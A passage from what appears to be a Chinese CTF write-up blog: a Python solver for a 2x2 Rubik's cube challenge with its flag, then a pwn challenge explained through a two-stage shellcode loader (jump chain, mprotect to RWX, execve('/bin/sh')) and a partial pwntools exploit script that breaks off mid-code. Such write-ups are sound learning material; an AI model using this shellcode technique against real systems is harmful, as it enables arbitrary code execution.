class=\"wp-block-list\">\n<li><strong>\u4fe1\u606f\u7f3a\u5931\uff1a<\/strong> \u6709\u4e00\u4e2a\u9762\u662f\u9ed1\u7684\uff0c\u9700\u8981\u63a8\u65ad\u989c\u8272\u3002<\/li>\n\n\n\n<li><strong>\u6781\u81f4\u6027\u80fd\uff1a<\/strong> Python \u7684\u89e3\u91ca\u5668\u5f00\u9500\u8f83\u5927\uff0c\u8981\u5728 1 \u79d2\u5185\u5b8c\u6210\u72b6\u6001\u63a8\u65ad + \u641c\u7d22\u6700\u4f18\u89e3\uff0c\u5fc5\u987b\u4f7f\u7528<strong>\u67e5\u8868\u6cd5<\/strong>\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u5bc6\u601d\u8def\uff1a\u5168\u72b6\u6001\u6570\u636e\u5e93 + \u5f52\u4e00\u5316<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7531\u4e8e 1 \u79d2\u65f6\u95f4\u592a\u77ed\uff0c\u4e0d\u53ef\u80fd\u5b9e\u65f6\u641c\u7d22\u3002\u6211\u4eec\u7684\u7b56\u7565\u662f \u9884\u8ba1\u7b97\u3002\n\nA. \u72b6\u6001\u7a7a\u95f4\u5206\u6790\n2x2 \u9b54\u65b9\u7684\u603b\u72b6\u6001\u6570\u7ea6\u4e3a 367 \u4e07\uff08\u56fa\u5b9a\u4e00\u4e2a\u89d2\u5757\u7684\u60c5\u51b5\u4e0b\uff09\u3002 \u5982\u679c\u4e0d\u56fa\u5b9a\u89d2\u5757\uff0c\u72b6\u6001\u6570\u4f1a\u81a8\u80c0 24 \u500d\uff08\u7ea6 8800 \u4e07\uff09\uff0c\u751f\u6210\u6570\u636e\u5e93\u592a\u6162\u4e14\u5185\u5b58\u5360\u7528\u5927\u3002\n\nB. \u5fc5\u80dc\u7b56\u7565\uff1a\u56fa\u5b9a\u89d2\u5757\u6cd5 \n\u6211\u4eec\u89c2\u5bdf\u5230\uff1a\u53ea\u8981\u8fd8\u539f\u4e86 2x2 \u9b54\u65b9\u7684\u4e00\u4e2a\u89d2\u5757\uff0c\u5269\u4e0b\u7684\u90e8\u5206\u53ef\u4ee5\u901a\u8fc7\u53ea\u8f6c\u52a8\u4e0e\u8be5\u89d2\u5757\u4e0d\u76f8\u90bb\u7684\u4e09\u4e2a\u9762\u6765\u8fd8\u539f\u3002 \u5047\u8bbe\u6211\u4eec\u56fa\u5b9a DBL (\u4e0b-\u540e-\u5de6) \u8fd9\u4e2a\u89d2\u5757\u4e0d\u52a8\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528 U (\u4e0a), F (\u524d), R (\u53f3) \u8fd9\u4e09\u4e2a\u9762\u7684\u52a8\u4f5c\u5373\u53ef\u8fd8\u539f\u6574\u4e2a\u9b54\u65b9\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b97\u6cd5\u6d41\u7a0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9884\u751f\u6210\u6570\u636e\u5e93 \uff1a\n\u5728\u672c\u5730\uff08\u811a\u672c\u542f\u52a8\u65f6\uff09\u751f\u6210\u4e00\u4e2a\u5305\u542b\u6240\u6709 3,674,160 \u79cd\u72b6\u6001\u7684\u6570\u636e\u5e93\u3002\n\u53ea\u4f7f\u7528 &lt;U, F, R&gt; \u4e09\u4e2a\u64cd\u4f5c\u751f\u6210\u72b6\u6001\u56fe\u3002\n\n\u8bb0\u5f55 {\u72b6\u6001: \u6b64\u65f6\u7684\u79fb\u52a8}\u3002\n\u8017\u65f6\u7ea6 20 \u79d2\uff0c\u8fd9\u662f 1 \u79d2\u8d85\u65f6\u9650\u5236\u5916\u7684\u65f6\u95f4\uff0c\u670d\u52a1\u5668\u5141\u8bb8\u8fde\u63a5\u4fdd\u6301\u3002\n\u9690\u85cf\u9762\u91cd\u5efa\uff1a\n\u7edf\u8ba1\u5df2\u77e5\u9762\u7684\u989c\u8272\u6570\u91cf\uff0c\u8865\u5168\u7f3a\u5931\u7684 4 \u4e2a\u8d34\u7eb8\u3002\n\u5c1d\u8bd5\u7f3a\u5931\u8d34\u7eb8\u7684\u6392\u5217\u7ec4\u5408\uff08\u6700\u591a 24 \u79cd\uff09\uff0c\u627e\u5230\u552f\u4e00\u5408\u6cd5\u7684\u7269\u7406\u72b6\u6001\u3002\n\n\u5f52\u4e00\u5316\u4e0e\u6620\u5c04 \uff1a\n\u8fd9\u662f\u6700\u5173\u952e\u7684\u4e00\u6b65\u3002\u670d\u52a1\u5668\u7ed9\u51fa\u7684\u9b54\u65b9 DBL \u89d2\u5757\u53ef\u80fd\u5728\u4efb\u4f55\u4f4d\u7f6e\u3002\n\u6211\u4eec\u4e0d\u9700\u8981\u771f\u7684\u53bb\u8f6c\u52a8 DBL \u89d2\u5757\u3002\u6211\u4eec\u901a\u8fc7\u5750\u6807\u53d8\u6362\uff0c\u627e\u5230\u4e00\u4e2a\u201c\u89c6\u89d2\u201d\uff0c\u4f7f\u5f97\u5728\u8fd9\u4e2a\u89c6\u89d2\u4e0b\uff0c\u7269\u7406\u9b54\u65b9\u7684 DBL \u89d2\u5757\u6b63\u597d\u4f4d\u4e8e\u6211\u4eec\u5b9a\u4e49\u7684\u201c\u56fa\u5b9a\u4f4d\u7f6e\u201d\u3002\n\u5728\u8fd9\u4e2a\u89c6\u89d2\u4e0b\uff0c\u5c1d\u8bd5\u5c06\u7269\u7406\u9b54\u65b9\u7684\u72b6\u6001\u6620\u5c04\u5230\u6211\u4eec\u7684 U-F-R \u6570\u636e\u5e93\u4e2d\u3002\n\u5982\u679c\u5339\u914d\u6210\u529f\uff0c\u6570\u636e\u5e93\u8fd4\u56de\u7684\u89e3\u6cd5\uff08U\/F\/R\uff09\u4f1a\u88ab\u6620\u5c04\u56de\u7269\u7406\u9b54\u65b9\u5bf9\u5e94\u7684\u9762\uff08\u4f8b\u5982\uff0c\u6570\u636e\u5e93\u7684 U \u53ef\u80fd\u5bf9\u5e94\u7269\u7406\u9b54\u65b9\u7684 L\uff09\u3002\n\n\u79d2\u89e3\uff1a\n\u67e5\u8868\u65f6\u95f4\u4e3a O(1)\u3002\n\u89e3\u6cd5\u6b65\u6570\u4e25\u683c\u4fdd\u8bc1\u5728\u6570\u636e\u5e93\u751f\u6210\u7684\u6df1\u5ea6\u5185\uff08&lt;= 11\u6b65\uff09\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\nimport sys\nimport collections\nimport itertools\nfrom pwn import *\n\ncontext.log_level = 'error'\n\nFACE_ORDER = \"UDFBLR\"\nFACE_MAP = {f: i for i, f in enumerate(FACE_ORDER)}\nINT_MAP = {i: f for i, f in enumerate(FACE_ORDER)}\nGEN_MOVES = &#91;\"U\", \"U'\", \"U2\", \"F\", \"F'\", \"F2\", \"R\", \"R'\", \"R2\"]\nALL_MOVES = &#91;]\nfor f in FACE_ORDER:\n    ALL_MOVES.extend(&#91;f, f+\"'\", f+\"2\"])\n\nCORNER_INDICES = &#91;\n    (0, 16, 13), (1, 12, 21), (2, 8, 17), (3, 9, 20),\n    (4, 10, 19), (5, 11, 22), (6, 15, 18), (7, 14, 23)\n]\nDBL_COLORS = frozenset(&#91;1, 3, 4])\nVALID_PIECE_SETS = set()\nfor c1 in &#91;0, 1]:\n    for c2 in &#91;2, 3]:\n        for c3 in &#91;4, 5]:\n            VALID_PIECE_SETS.add(frozenset(&#91;c1, c2, c3]))\n\nTRANS_TABLE = &#91;]\n\ndef build_trans_table():\n    base = list(range(24))\n    def get_faces(s): return {f: s&#91;i*4:(i+1)*4] for i, f in enumerate(FACE_ORDER)}\n    def from_faces(f): return sum(&#91;f&#91;x] for x in FACE_ORDER], &#91;])\n    def cw(x): return &#91;x&#91;2], x&#91;0], x&#91;3], x&#91;1]]\n    def ccw(x): return &#91;x&#91;1], x&#91;3], x&#91;0], x&#91;2]]\n\n    def apply(faces, f, p):\n        def gr(n, r): return faces&#91;n]&#91;r*2:r*2+2]\n        def sr(n, r, v): faces&#91;n]&#91;r*2:r*2+2] = v\n        def gc(n, c): return &#91;faces&#91;n]&#91;0+c], faces&#91;n]&#91;2+c]]\n        def sc(n, c, v): faces&#91;n]&#91;0+c], faces&#91;n]&#91;2+c] = v&#91;0], v&#91;1]\n\n        if f=='U':\n            faces&#91;'U'] = ccw(faces&#91;'U']) if p else cw(faces&#91;'U'])\n            t = gr('F',0)\n            if p: sr('F',0,gr('L',0)); sr('L',0,gr('B',0)); sr('B',0,gr('R',0)); sr('R',0,t)\n            else: sr('F',0,gr('R',0)); sr('R',0,gr('B',0)); sr('B',0,gr('L',0)); sr('L',0,t)\n        elif f=='D':\n            faces&#91;'D'] = ccw(faces&#91;'D']) if p else cw(faces&#91;'D'])\n            t = gr('F',1)\n            if p: sr('F',1,gr('R',1)); sr('R',1,gr('B',1)); sr('B',1,gr('L',1)); sr('L',1,t)\n            else: sr('F',1,gr('L',1)); sr('L',1,gr('B',1)); sr('B',1,gr('R',1)); sr('R',1,t)\n        elif f=='F':\n            faces&#91;'F'] = ccw(faces&#91;'F']) if p else cw(faces&#91;'F'])\n            t = gr('U',1)\n            if p: sr('U',1,gc('R',0)); sc('R',0,gr('D',0)&#91;::-1]); sr('D',0,gc('L',1)); sc('L',1,t&#91;::-1])\n            else: sr('U',1,gc('L',1)&#91;::-1]); sc('L',1,gr('D',0)); sr('D',0,gc('R',0)&#91;::-1]); sc('R',0,t)\n        elif f=='B':\n            faces&#91;'B'] = ccw(faces&#91;'B']) if p else cw(faces&#91;'B'])\n            t = gr('U',0)\n            if p: sr('U',0,gc('L',0)&#91;::-1]); sc('L',0,gr('D',1)); sr('D',1,gc('R',1)&#91;::-1]); sc('R',1,t)\n            else: sr('U',0,gc('R',1)); sc('R',1,gr('D',1)&#91;::-1]); sr('D',1,gc('L',0)); sc('L',0,t&#91;::-1])\n        elif f=='L':\n            faces&#91;'L'] = ccw(faces&#91;'L']) if p else cw(faces&#91;'L'])\n            t = gc('U',0)\n            if p: sc('U',0,gc('F',0)); sc('F',0,gc('D',0)); sc('D',0,gc('B',1)&#91;::-1]); sc('B',1,t&#91;::-1])\n            else: sc('U',0,gc('B',1)&#91;::-1]); sc('B',1,gc('D',0)&#91;::-1]); sc('D',0,gc('F',0)); sc('F',0,t)\n        elif f=='R':\n            faces&#91;'R'] = ccw(faces&#91;'R']) if p else cw(faces&#91;'R'])\n            t = gc('U',1)\n            if p: sc('U',1,gc('B',0)&#91;::-1]); sc('B',0,gc('D',1)&#91;::-1]); sc('D',1,gc('F',1)); sc('F',1,t)\n            else: sc('U',1,gc('F',1)); sc('F',1,gc('D',1)); sc('D',1,gc('B',0)&#91;::-1]); sc('B',0,t&#91;::-1])\n\n    for m in ALL_MOVES:\n        faces = get_faces(base)\n        f, p, c = m&#91;0], \"'\" in m, 2 if '2' in m else 1\n        for _ in range(c): apply(faces, f, p)\n        TRANS_TABLE.append(tuple(from_faces(faces)))\n\ndef fast_apply(s, m_idx):\n    return tuple(s&#91;i] for i in TRANS_TABLE&#91;m_idx])\n\nMAIN_DB = {}\n\ndef generate_db():\n    print(\"Generating DB...\")\n    solved = tuple(&#91;i\/\/4 for i in range(24)])\n    MAIN_DB&#91;solved] = -1\n    q = collections.deque(&#91;solved])\n    gen_idxs = &#91;ALL_MOVES.index(m) for m in GEN_MOVES]\n    while q:\n        curr = q.popleft()\n        for idx in gen_idxs:\n            succ = fast_apply(curr, idx)\n            if succ not in MAIN_DB:\n                MAIN_DB&#91;succ] = idx\n                q.append(succ)\n    print(f\"DB Done: {len(MAIN_DB)}\")\n\ndef solve_normalized(state):\n    loc = None\n    for idxs in CORNER_INDICES:\n        if {state&#91;i] for i in idxs} == DBL_COLORS:\n            loc = idxs \n            break\n    if not loc: return None\n\n    p_map = {}\n    for i in loc:\n        c = state&#91;i]\n        f = i \/\/ 4\n        if c == 1: p_map&#91;'D'] = f\n        elif c == 3: p_map&#91;'B'] = f\n        elif c == 4: p_map&#91;'L'] = f\n\n    opp_map = {0:1, 1:0, 2:3, 3:2, 4:5, 5:4}\n    p_map&#91;'U'] = opp_map&#91;p_map&#91;'D']]\n    p_map&#91;'F'] = opp_map&#91;p_map&#91;'B']]\n    p_map&#91;'R'] = opp_map&#91;p_map&#91;'L']]\n\n    def get_face_stickers(face_idx):\n        return state&#91;face_idx*4 : (face_idx+1)*4]\n\n    def rotate_stickers(stickers, n):\n        s = stickers\n        for _ in range(n):\n            s = &#91;s&#91;2], s&#91;0], s&#91;3], s&#91;1]]\n        return s\n\n    target_locals = {'D': 2, 'B': 3, 'L': 2}\n    v_faces = {}\n\n    for canon_f in &#91;'D', 'B', 'L']:\n        phys_f = p_map&#91;canon_f]\n        p_stickers = get_face_stickers(phys_f)\n        corner_sticker_idx = -1\n        for i in range(4):\n            global_idx = phys_f * 4 + i\n            if global_idx in loc:\n                corner_sticker_idx = i\n                break\n\n        rot_cycle = &#91;0, 1, 3, 2]\n        curr_pos = rot_cycle.index(corner_sticker_idx)\n        target_pos = rot_cycle.index(target_locals&#91;canon_f])\n        rots = (target_pos - curr_pos) % 4\n        v_faces&#91;canon_f] = rotate_stickers(p_stickers, rots)\n\n    phys_u = get_face_stickers(p_map&#91;'U'])\n    phys_f = get_face_stickers(p_map&#91;'F'])\n    phys_r = get_face_stickers(p_map&#91;'R'])\n\n    def yield_rots(s):\n        curr = s\n        for _ in range(4):\n            yield curr\n            curr = rotate_stickers(curr, 1)\n\n    for cand_u in yield_rots(phys_u):\n        for cand_f in yield_rots(phys_f):\n            for cand_r in yield_rots(phys_r):\n                f_dict = {\n                    'D': v_faces&#91;'D'], 'B': v_faces&#91;'B'], 'L': v_faces&#91;'L'],\n                    'U': cand_u, 'F': cand_f, 'R': cand_r\n                }\n                vs = &#91;]\n                for char in FACE_ORDER: vs.extend(f_dict&#91;char])\n                vs = tuple(vs)\n\n                if vs in MAIN_DB:\n                    v_path = &#91;]\n                    curr = vs\n                    while MAIN_DB&#91;curr] != -1:\n                        idx = MAIN_DB&#91;curr]\n                        m_name = ALL_MOVES&#91;idx]\n                        inv_m = m_name.replace(\"'\", \"\") if \"'\" in m_name else (m_name if \"2\" in m_name else m_name + \"'\")\n                        v_path.append(inv_m)\n                        curr = fast_apply(curr, ALL_MOVES.index(inv_m))\n\n                    p_path = &#91;]\n                    for m in v_path:\n                        canon_face = m&#91;0]\n                        suffix = m&#91;1:]\n                        phys_face_idx = p_map&#91;canon_face]\n                        phys_face_char = INT_MAP&#91;phys_face_idx]\n                        p_path.append(phys_face_char + suffix)\n                    return p_path\n    return None\n\ndef is_valid_corners(state):\n    for idxs in CORNER_INDICES:\n        if frozenset(&#91;state&#91;i] for i in idxs]) not in VALID_PIECE_SETS:\n            return False\n    return True\n\ndef main():\n    build_trans_table()\n    generate_db()\n\n    io = remote('nc1.ctfplus.cn', 36463)\n    io.recvuntil(b\"Solve 100 cubes\")\n\n    for rnd in range(1, 101):\n        try:\n            io.recvuntil(f\"=== Round {rnd}\/100 ===\".encode())\n            data = io.recvuntil(b\"&#91;?] Enter your solution:\").decode()\n            lines = &#91;l.strip() for l in data.split('n') if l.strip()]\n            faces = {}\n            for i, l in enumerate(lines):\n                if l.startswith(\"Face\"):\n                    f = l.split()&#91;1]&#91;0]\n                    r1 = lines&#91;i+2].replace('|','').split()\n                    r2 = lines&#91;i+3].replace('|','').split()\n                    faces&#91;f] = r1 + r2\n\n            hidden = list(set(FACE_ORDER) - faces.keys())&#91;0]\n            flat = &#91;]\n            for f in FACE_ORDER:\n                if f == hidden: flat.extend(&#91;-1]*4)\n                else: flat.extend(&#91;FACE_MAP&#91;x] for x in faces&#91;f]])\n\n            counts = collections.Counter(&#91;x for x in flat if x != -1])\n            missing = &#91;]\n            for i in range(6): missing.extend(&#91;i] * (4 - counts&#91;i]))\n            unknown_idxs = &#91;i for i, x in enumerate(flat) if x == -1]\n            perms = set(itertools.permutations(missing))\n\n            final_sol = None\n            for p in perms:\n                temp = list(flat)\n                for i, v in enumerate(p): temp&#91;unknown_idxs&#91;i]] = v\n                cand = tuple(temp)\n                if not is_valid_corners(cand): continue\n                res = solve_normalized(cand)\n                if res:\n                    final_sol = \" \".join(res)\n                    break\n\n            if not final_sol: final_sol = \"U\"\n            io.sendline(final_sol.encode())\n            sys.stdout.write(f\"rRound {rnd} OK\")\n\n        except Exception as e:\n            print(f\"Err: {e}\")\n            break\n\n    print(\"nDone.\")\n    io.interactive()\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-349-1024x314.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"314\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-349-1024x314.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2682\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{G0dZzzz_NuM63r_1s_3lEv3N_But_uR_C0d3_i5_D1v1n3_GG2008511868280246272}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Pwn<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u4ec0\u4e48\uff1f\u6211\u4e0d\u662f\u6c47\u7f16\u9ad8\u624b\u5417\uff1f<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-350-1024x461.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-350-1024x461.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2683\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7a0b\u5e8f\u903b\u8f91<\/strong>\uff1a\u7a0b\u5e8f\u4f7f\u7528 <code>mmap<\/code> \u5206\u914d\u4e00\u6bb5\u5185\u5b58\uff0c\u5faa\u73af\u8bfb\u53d6\u7528\u6237\u8f93\u5165\u3002\u6bcf\u8bfb\u53d6 <strong>4\u5b57\u8282<\/strong>\uff0c\u4f1a\u81ea\u52a8\u5728\u540e\u9762\u8ffd\u52a0 <code>0xE9<\/code> (JMP \u6307\u4ee4) \u53ca\u504f\u79fb\uff0c\u5f62\u6210\u94fe\u5f0f\u8df3\u8f6c\u7ed3\u6784\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fdd\u62a4\u673a\u5236\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8f93\u5165\u51fd\u6570\u4e3a <code>fgetc<\/code>\uff0c\u9047\u5230 <code>0x0A<\/code> (<code>n<\/code>) \u4f1a\u622a\u65ad\u3002<\/li>\n\n\n\n<li>\u6267\u884c Shellcode \u524d\uff0c\u7a0b\u5e8f\u8c03\u7528 <code>mprotect<\/code> \u5c06\u8be5\u6bb5\u5185\u5b58\u8bbe\u4e3a <strong>RX (\u53ea\u8bfb\u53ef\u6267\u884c)<\/strong>\uff0c\u5bfc\u81f4\u65e0\u6cd5\u76f4\u63a5\u4fee\u6539\u81ea\u8eab\u6216\u8ffd\u52a0\u4ee3\u7801\u3002<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-351-1024x605.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"605\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-351-1024x605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2684\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-352-1024x532.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"532\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-352-1024x532.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2685\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-353-1024x561.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"561\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-353-1024x561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2686\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Opcode \u65ad\u88c2\uff1a0xE9 \u4f1a\u541e\u6389\u540e\u7eed\u6307\u4ee4\uff0c\u9700\u6784\u9020\u8df3\u8f6c\u94fe\u3002\n\u53ea\u8bfb\u5185\u5b58\uff1a\u5fc5\u987b\u5148\u6539\u6743\u9650\u624d\u80fd\u8bfb\u5165\u957f Shellcode\u3002\n\u574f\u5b57\u7b26\uff1a\u4e0d\u80fd\u51fa\u73b0 0x0A\u3002\n\u672a\u77e5\u5730\u5740\uff1a\u5bc4\u5b58\u5668\u672a\u6307\u5411 mmap \u57fa\u5740\uff0c\u9700\u4ece\u6808\u4e0a\u83b7\u53d6\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u601d\u8def<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u91c7\u7528 **\u4e24\u9636\u6bb5 Shellcode \uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6784\u9020 Jump Chain (\u5fae\u578b\u6307\u4ee4\u94fe)<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5728\u6bcf 4 \u5b57\u8282\u5757\u4e2d\u5199\u5165 `2\u5b57\u8282\u6307\u4ee4` + `EB 01` (\u77ed\u8df3\u8f6c)\u3002\n`EB 01` \u6b63\u597d\u8df3\u8fc7\u4e0b\u4e00\u4e2a\u5757\u5934\u90e8\u7684 `0xE9`\uff0c\u5b9e\u73b0\u6307\u4ee4\u4e32\u8054\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Stage 1: Loader (\u624b\u5199\u673a\u5668\u7801)<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u83b7\u53d6\u57fa\u5740\uff1a\u5206\u6790\u53d1\u73b0 `mmap` \u5730\u5740\u5b58\u5728\u6808\u4e0a (`rbp-0x10`)\u3002\u5229\u7528 `push rbp; pop rsi` -&gt; `sub` -&gt; `lodsq` \u5c06\u57fa\u5740\u52a0\u8f7d\u5230\u5bc4\u5b58\u5668\u3002\n\u4fee\u6539\u6743\u9650\uff1a\u8c03\u7528 mprotect(addr, len, 7)\u5c06\u5185\u5b58\u6539\u4e3a RWX\nTip: `sys_mprotect` \u8c03\u7528\u53f7\u662f 10 (`0x0A`)\uff0c\u9700\u7528 `mov al, 9; inc eax` \u52a8\u6001\u8ba1\u7b97\u4ee5\u7ed5\u8fc7\u574f\u5b57\u7b26\u3002\n\u8bfb\u5165 Payload\uff1a\u8c03\u7528 `read(0, addr, len)` \u8bfb\u5165\u7b2c\u4e8c\u9636\u6bb5\u4ee3\u7801\u8986\u76d6\u5f53\u524d\u4f4d\u7f6e\u3002\n\u6267\u884c\uff1a\u8df3\u8f6c\u56de `addr`\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Get Shell<\/strong>\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u9001\u6807\u51c6\u7684 <code>execve(\"\/bin\/sh\")<\/code> Shellcode\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nimport time\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info' \n\ndef solve():\n    print(\"&#91;*] \u6b63\u5728\u8fde\u63a5...\")\n    try:\n        io = remote('nc1.ctfplus.cn', 24269)\n    except:\n        print(\"&#91;-] \u8fde\u63a5\u5931\u8d25\")\n        return\n\n    try:\n        io.recvuntil(b'0x')\n        line = io.recvline().strip()\n        addr = int(line, 16)\n        print(f\"&#91;+] Leaked Addr: {hex(addr)}\")\n    except Exception as e:\n        print(f\"&#91;-] \u83b7\u53d6\u6cc4\u6f0f\u5730\u5740\u5931\u8d25: {e}\")\n        return\n\n    parts = &#91;]\n\n    def add_inst(code_bytes):\n        if len(code_bytes) &lt; 2:\n            code_bytes = code_bytes.ljust(2, b'x90')\n        parts.append(code_bytes + b'xebx01')\n\n    parts.append(b'x01x00x00x00')\n\n    add_inst(b'x55x5e')\n    add_inst(b'x48x96')\n    add_inst(b'x2cx10')\n    add_inst(b'x48x96')\n    add_inst(b'x48xad')\n    add_inst(b'x50x5f')\n\n    add_inst(b'x31xf6')\n    add_inst(b'xffxc6')\n\n    add_inst(b'x31xd2')\n    add_inst(b'xb2x07')\n\n    add_inst(b'x31xc0')\n    add_inst(b'xb0x09')\n    add_inst(b'xffxc0')\n\n    add_inst(b'x0fx05')\n\n    add_inst(b'x57x5e')\n\n    add_inst(b'x31xff')\n\n    add_inst(b'x31xd2')\n    add_inst(b'xb2xff')\n\n    add_inst(b'x31xc0')\n\n    add_inst(b'x0fx05')\n\n    add_inst(b'xffxe6')\n\n    payload = b''.join(parts)\n    print(f\"&#91;*] Sending Stage 1 Loader ({len(payload)} bytes)...\")\n    